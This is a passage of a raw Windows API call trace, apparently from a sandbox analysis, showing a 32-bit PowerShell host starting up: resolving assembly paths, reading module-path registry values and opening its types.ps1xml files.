lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.001] GetLastError () returned 0x7a [0095.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.001] GetLastError () returned 0x7a [0095.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.001] GetLastError () returned 0x7a [0095.034] SetConsoleCtrlHandler (HandlerRoutine=0x266384a, Add=1) returned 1 [0095.034] GetLastError () returned 0x7a [0095.051] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.051] GetLastError () returned 0xcb [0095.062] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x340 [0095.062] GetLastError () returned 0x0 [0095.064] CoCreateGuid (in: pguid=0x27ec18 | out: pguid=0x27ec18*(Data1=0xd365e458, Data2=0xf998, Data3=0x4f3f, Data4=([0]=0x89, [1]=0xe7, [2]=0x2c, [3]=0x81, [4]=0x1d, [5]=0xbe, [6]=0x24, [7]=0xc4))) returned 0x0 [0095.085] WinSqmIsOptedIn () returned 0x0 [0095.086] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.086] GetLastError () returned 0xcb [0095.088] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.088] GetLastError () returned 0xcb [0095.088] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.088] GetLastError () returned 0xcb [0095.089] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.089] GetLastError () returned 0xcb [0095.089] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.089] GetLastError () returned 0xcb [0095.090] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.090] GetLastError () returned 0xcb [0095.091] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.091] GetLastError () returned 0xcb [0095.091] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.091] GetLastError () returned 0xcb [0095.094] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.095] GetLastError () returned 0xcb [0095.110] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.110] GetLastError () returned 0xcb [0095.110] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.110] GetLastError () returned 0xcb [0095.549] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.549] GetLastError () returned 0xcb [0095.550] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.550] GetLastError () returned 0xcb [0095.550] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.550] GetLastError () returned 0xcb [0095.550] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.550] GetLastError () returned 0xcb [0095.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.623] GetLastError () returned 0x3 [0095.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.623] GetLastError () returned 0x3 [0095.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.623] GetLastError () returned 0x3 [0095.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.624] GetLastError () returned 0x3 [0095.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.624] GetLastError () returned 0x3 [0095.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.624] GetLastError () returned 0x3 [0095.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.624] GetLastError () returned 0x3 [0095.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.624] GetLastError () returned 0x3 [0095.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.624] GetLastError () returned 0x3 [0095.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.625] GetLastError () returned 0x3 [0095.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.625] GetLastError () returned 0x3 [0095.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0095.625] GetLastError () returned 0x3 [0095.644] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0095.644] GetLastError () returned 0x3 [0095.734] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x6f7118, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0095.734] GetLastError () returned 0x3 [0095.734] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ea30 | out: phkResult=0x27ea30*=0x34c) returned 0x0 [0095.735] RegQueryValueExW (in: hKey=0x34c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27ea74, lpData=0x0, lpcbData=0x27ea70*=0x0 | out: lpType=0x27ea74*=0x2, lpData=0x0, lpcbData=0x27ea70*=0x6c) returned 0x0 [0095.748] RegQueryValueExW (in: hKey=0x34c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27ea74, lpData=0x6f7118, lpcbData=0x27ea70*=0x6c | out: lpType=0x27ea74*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x27ea70*=0x6c) returned 0x0 [0095.748] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x6f7118, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0095.749] GetLastError () returned 0x3 [0095.749] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x6f7118, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0095.749] GetLastError () returned 0x3 [0095.749] RegCloseKey (hKey=0x34c) returned 0x0 [0095.750] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x6f7118, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0095.750] GetLastError () returned 0x3 [0095.750] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x27ea30 | out: phkResult=0x27ea30*=0x34c) returned 0x0 [0095.750] RegQueryValueExW (in: hKey=0x34c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27ea74, lpData=0x0, lpcbData=0x27ea70*=0x0 | out: lpType=0x27ea74*=0x0, lpData=0x0, lpcbData=0x27ea70*=0x0) returned 0x2 [0095.751] RegCloseKey (hKey=0x34c) returned 0x0 [0095.867] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x6f7118 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0095.869] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x27e598, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0095.869] GetLastError () returned 0x3f0 [0095.871] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0095.871] GetLastError () returned 0x3f0 [0095.910] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e9b0 | out: phkResult=0x27e9b0*=0x354) returned 0x0 [0095.912] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x27ea18, lpData=0x0, lpcbData=0x27ea14*=0x0 | out: lpType=0x27ea18*=0x1, lpData=0x0, lpcbData=0x27ea14*=0x74) returned 0x0 [0095.912] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x27e9f8, lpData=0x0, lpcbData=0x27e9f4*=0x0 | out: lpType=0x27e9f8*=0x1, lpData=0x0, lpcbData=0x27e9f4*=0x74) returned 0x0 [0095.913] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x27e9f8, lpData=0x6f7118, lpcbData=0x27e9f4*=0x74 | out: lpType=0x27e9f8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x27e9f4*=0x74) returned 0x0 [0095.913] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x27e578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0095.913] GetLastError () returned 0xcb [0095.913] SetErrorMode (uMode=0x1) returned 0x1 [0095.913] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x27e9f8 | out: lpFileInformation=0x27e9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0095.913] GetLastError () returned 0xcb [0095.913] SetErrorMode (uMode=0x1) returned 0x1 [0095.915] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e56c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0095.915] GetLastError () returned 0xcb [0095.915] SetErrorMode (uMode=0x1) returned 0x1 [0095.915] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9ec | out: lpFileInformation=0x27e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0095.916] GetLastError () returned 0xcb [0095.916] SetErrorMode (uMode=0x1) returned 0x1 [0095.917] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e56c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0095.917] GetLastError () returned 0xcb [0095.917] SetErrorMode (uMode=0x1) returned 0x1 [0095.917] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e9ec | out: lpFileInformation=0x27e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0095.918] GetLastError () returned 0xcb [0095.918] SetErrorMode (uMode=0x1) returned 0x1 [0095.923] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0095.923] GetLastError () returned 0xcb [0095.924] GetACP () returned 0x4e4 [0095.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0095.941] GetLastError () returned 0x0 [0095.942] SetErrorMode (uMode=0x1) returned 0x1 [0095.944] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x358 [0095.944] GetLastError () returned 0x0 [0095.946] GetFileType (hFile=0x358) returned 0x1 [0095.946] SetErrorMode (uMode=0x1) returned 0x1 [0095.946] GetFileType (hFile=0x358) returned 0x1 [0095.949] ReadFile (in: hFile=0x358, lpBuffer=0x29f9a64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x29f9a64*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0095.966] GetLastError () returned 0x0 [0095.967] ReadFile (in: hFile=0x358, lpBuffer=0x29f9a64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x29f9a64*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0095.976] GetLastError () returned 0x0 [0095.977] ReadFile (in: hFile=0x358, lpBuffer=0x29f9a64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x29f9a64*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0095.977] GetLastError () returned 0x0 [0095.978] ReadFile (in: hFile=0x358, lpBuffer=0x29f9a64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x29f9a64*, lpNumberOfBytesRead=0x27e964*=0xcf3, lpOverlapped=0x0) returned 1 [0095.978] GetLastError () returned 0x0 [0095.978] ReadFile (in: hFile=0x358, lpBuffer=0x29f8ef7, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x29f8ef7*, lpNumberOfBytesRead=0x27e964*=0x0, lpOverlapped=0x0) returned 1 [0095.978] GetLastError () returned 0x0 [0095.978] ReadFile (in: hFile=0x358, lpBuffer=0x29f9a64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x29f9a64*, lpNumberOfBytesRead=0x27e964*=0x0, lpOverlapped=0x0) returned 1 [0095.978] GetLastError () returned 0x0 [0095.979] CloseHandle (hObject=0x358) returned 1 [0095.979] GetLastError () returned 0x0 [0095.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0095.981] GetLastError () returned 0x0 [0095.981] SetErrorMode (uMode=0x1) returned 0x1 [0095.981] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2a0add8 | out: lpFileInformation=0x2a0add8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0095.981] GetLastError () returned 0x0 [0095.981] SetErrorMode (uMode=0x1) returned 0x1 [0095.983] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0095.983] GetLastError () returned 0x0 [0095.983] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e8e8 | out: phkResult=0x27e8e8*=0x358) returned 0x0 [0095.984] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e930, lpData=0x0, lpcbData=0x27e92c*=0x0 | out: lpType=0x27e930*=0x1, lpData=0x0, lpcbData=0x27e92c*=0x56) returned 0x0 [0095.984] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e930, lpData=0x6f7118, lpcbData=0x27e92c*=0x56 | out: lpType=0x27e930*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e92c*=0x56) returned 0x0 [0095.985] RegCloseKey (hKey=0x358) returned 0x0 [0095.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e490, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0095.985] GetLastError () returned 0x0 [0095.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e424, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0095.985] GetLastError () returned 0x0 [0096.051] GetSystemInfo (in: lpSystemInfo=0x27e068 | out: lpSystemInfo=0x27e068*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.052] VirtualQuery (in: lpAddress=0x27d824, lpBuffer=0x27e824, dwLength=0x1c | out: lpBuffer=0x27e824*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0096.077] GetLastError () returned 0x0 [0096.077] SetErrorMode (uMode=0x1) returned 0x1 [0096.078] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x358 [0096.078] GetLastError () returned 0x0 [0096.078] GetFileType (hFile=0x358) returned 0x1 [0096.079] SetErrorMode (uMode=0x1) returned 0x1 [0096.079] GetFileType (hFile=0x358) returned 0x1 [0096.079] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.081] GetLastError () returned 0x0 [0096.083] ReadFile (in: hFile=0x358, lpBuffer=0x2a3f1f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e964, lpOverlapped=0x0 | out: lpBuffer=0x2a3f1f4*, lpNumberOfBytesRead=0x27e964*=0x1000, lpOverlapped=0x0) returned 1 [0096.083] GetLastError () returned 0x0 [0096.083] ReadFile (in: hFile=0x358, 